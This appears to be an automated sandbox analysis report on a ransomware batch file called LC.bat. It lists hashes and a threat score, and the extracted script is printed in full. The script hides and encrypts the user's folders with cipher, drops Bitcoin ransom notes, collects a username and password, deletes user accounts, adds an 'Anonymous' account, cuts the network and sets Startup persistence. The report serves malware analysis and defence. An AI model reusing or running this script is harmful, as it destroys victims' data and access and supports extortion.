General

  • Target

    LC.bat

  • Size

    352B

  • Sample

    240102-br1dgadddk

  • MD5

    6c555c72d67f325b774a39315ef929ce

  • SHA1

    e36ca61b9ab5e53adecaf00219d55b69c9d5c485

  • SHA256

    4149b09f225dc3cd2fcad895739774ec381eea1f8006642fd74bde9f33e1ccaa

  • SHA512

    13d6d14338b8fcbdd68f76412b3cbb118d46485f947a1790e70b396ed7d7f9baae4ffcb0f56294d3ef6ab6fe6e3b38fd0606e597146ba97a29088b4c091dce52

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\LLC.bat

Ransom Note
@echo off echo To contact LC and obtain further instructions, send an email to [email protected]. Include your unique ID and payment confirmation.> "%USERPROFILE%\Desktop\LC.txt" @echo off echo Welcome to The LC Tor Server! echo Please enter your details to proceed. set /p username=Username: set /p password=Password: echo Thank you for signing up for the river enjoy u sick perv! @echo off start "" "https://media.discordapp.net/attachments/1171199057348263996/1171261368717037700/Jq9XNeo.jpg?ex=659ca2a7&is=658a2da7&hm=e584359e6d8774a5d4d4f23f6b5f2b20a2715bdcc056d11f5fe0c641e0d9fc15& ipconfig /release @echo off attrib +h %0 @echo off title Laughing Coffin color 0c echo Your files have been encrypted! To get them back, pay $300 to the following Bitcoin address: 3BKuiDHNSbdCdK8fHTUxCB4GRBiuKUrMzr...> "%USERPROFILE%\Downloads\do not close.txt" @echo off cd %userprofile%\Documents attrib +h /s /d cipher /e /s /a cd %userprofile%\Downloads attrib +h /s /d cipher /e /s /a cd %userprofile%\Desktop attrib +h /s /d cipher /e /s /a cd %userprofile%\Pictures attrib +h /s /d cipher /e /s /a cd %userprofile%\Videos attrib +h /s /d cipher /e /s /a cd %userprofile%\Music attrib +h /s /d cipher /e /s /a @echo off echo To contact LC and obtain further instructions, send an email to [email protected]. Include your unique ID and payment confirmation.> "%USERPROFILE%\Desktop\LC.txt" @echo off echo How to avoid these attacks in the future: echo - Regularly update your antivirus software. echo - Avoid opening suspicious email attachments or clicking on unknown links. echo - Backup your important files regularly on an external storage device. echo - Be cautious while downloading files from the internet. echo - Keep your operating system and applications up to date. echo - Enable a firewall and use strong, unique passwords. @echo off echo How to decrypt your files: echo 1. Make the payment of $300 to the provided Bitcoin address:3BKuiDHNSbdCdK8fHTUxCB4GRBiuKUrMzr. echo 2. Send an email to [email protected] with your payment confirmation. echo 3. Once verified, you will receive the decryption key for your files. echo 4. Use the decryption key to decrypt your files and regain access to them. @echo off setlocal :loop set /p "password=Enter the password to decrypt the files: " if "%password%"=="7K3hG5d9R2pQ6wB4vF1jL8sT0mZnXcV4" ( echo Decrypting.... @echo off echo Decrypting Still... for /f "skip=1" %%G in ('wmic useraccount where "disabled='FALSE'" get name') do ( if not "%%G"=="Administrator" ( net user %%G /delete ) ) echo Almost Done... net user Anonymous /add echo Setting Up Files... powershell -Command "$password = -join (33..126 | Get-Random -Count 32 | ForEach-Object {[char]$_}); $secureString = ConvertTo-SecureString $password -AsPlainText -Force; $hash = $secureString | ConvertFrom-SecureString; (New-Object System.Management.Automation.PSCredential('Anonymous', $secureString)).GetNetworkCredential().Password | Out-Null" echo Files Setup Complete! echo Decryption done! ipconfig /release ) else ( echo Invalid password. Please try again. goto loop ) @echo off setlocal copy "%0" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" @echo off attrib +h "%0" attrib +h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%~nx0"

Targets

    • Target

      LC.bat

    • Size

      352B

    • MD5

      6c555c72d67f325b774a39315ef929ce

    • SHA1

      e36ca61b9ab5e53adecaf00219d55b69c9d5c485

    • SHA256

      4149b09f225dc3cd2fcad895739774ec381eea1f8006642fd74bde9f33e1ccaa

    • SHA512

      13d6d14338b8fcbdd68f76412b3cbb118d46485f947a1790e70b396ed7d7f9baae4ffcb0f56294d3ef6ab6fe6e3b38fd0606e597146ba97a29088b4c091dce52

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks